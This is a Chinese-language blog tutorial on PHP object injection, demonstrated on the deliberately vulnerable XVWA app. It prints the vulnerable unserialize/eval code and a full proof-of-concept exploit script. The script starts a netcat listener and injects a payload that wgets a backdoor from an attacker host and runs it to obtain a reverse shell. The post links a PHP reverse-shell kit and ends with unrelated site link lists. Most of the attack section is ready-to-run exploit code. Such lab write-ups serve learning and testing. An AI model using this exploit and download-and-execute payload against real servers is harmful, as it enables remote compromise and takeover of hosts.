PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
聊天室php&amp;mysql(三)
Oct 09 PHP
PHP静态类
Nov 25 PHP
PHP下用rmdir实现删除目录的三种方法小结
Apr 20 PHP
从Web查询数据库之PHP与MySQL篇
Sep 25 PHP
Drupal 添加模块出现莫名其妙的错误的解决方法(往往出现在模块较多时)
Apr 18 PHP
php中设置多级目录session的问题
Aug 08 PHP
输入值/表单提交参数过滤有效防止sql注入的方法
Dec 25 PHP
PHP中对于浮点型的数据需要用不同的方法解决
Mar 11 PHP
php实现的太平洋时间和北京时间互转的自定义函数分享
Aug 19 PHP
Yii2.0 模态弹出框+ajax提交表单
May 22 PHP
php中请求url的五种方法总结
Jul 13 PHP
thinkphp5.0自定义验证规则使用方法
Nov 16 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
php的SimpleXML方法读写XML接口文件实例解析
2014/06/16 PHP
YII中Ueditor富文本编辑器文件和图片上传的配置图文教程
2017/03/15 PHP
PHP机器学习库php-ml的简单测试和使用方法
2017/07/14 PHP
PHP应用跨时区功能的实现方法
2019/03/21 PHP
基于Jquery的简单&amp;简陋Tabs插件代码
2010/02/09 Javascript
一个简单的jQuery插件制作 学习过程及实例
2010/04/25 Javascript
用Javascript实现Windows任务管理器的代码
2012/03/27 Javascript
json数据处理技巧(字段带空格、增加字段、排序等等)
2013/06/14 Javascript
遍历DOM对象内的元素属性示例代码
2014/02/08 Javascript
使用jQuery重置(reset)表单的方法
2014/05/05 Javascript
JavaScript、jQuery与Ajax的关系
2016/01/24 Javascript
JS中artdialog弹出框控件之提交表单思路详解
2016/04/18 Javascript
JavaScript中的原型prototype完全解析
2016/05/10 Javascript
详解JavaScript中Hash Map映射结构的实现
2016/05/21 Javascript
jQuery获取及设置表单input各种类型值的方法小结
2016/05/24 Javascript
原生js实现网页顶部自动下拉/收缩广告效果
2017/01/20 Javascript
Vue中img的src属性绑定与static文件夹实例
2017/05/18 Javascript
js移动端事件基础及常用事件库详解
2017/08/15 Javascript
详解vuex中mapState,mapGetters,mapMutations,mapActions的作用
2018/04/13 Javascript
微信小程序实现搜索框功能及踩过的坑
2020/06/19 Javascript
Openlayers学习之地图比例尺控件
2020/09/28 Javascript
Python遍历目录并批量更换文件名和目录名的方法
2016/09/19 Python
解决Python中字符串和数字拼接报错的方法
2016/10/23 Python
详解Django之admin组件的使用和源码剖析
2018/05/04 Python
Python中__slots__属性介绍与基本使用方法
2018/09/05 Python
Python设计模式之策略模式实例详解
2019/01/21 Python
python使用pip安装模块出现ReadTimeoutError: HTTPSConnectionPool的解决方法
2019/10/04 Python
浅谈Python3多线程之间的执行顺序问题
2020/05/02 Python
详解vscode实现远程linux服务器上Python开发
2020/11/10 Python
Pandas对每个分组应用apply函数的实现
2020/12/13 Python
乡镇干部先进事迹材料
2014/02/03 职场文书
公安机关正风肃纪剖析材料
2014/10/10 职场文书
大学生暑期社会实践证明范本
2014/10/24 职场文书
医务人员岗前培训心得体会
2016/01/08 职场文书
企业转让协议书(范文2篇)
2019/08/15 职场文书
WCG2010 星际争霸决赛 Flash vs Goojila 1 星际经典比赛回顾
2022/04/01 星际争霸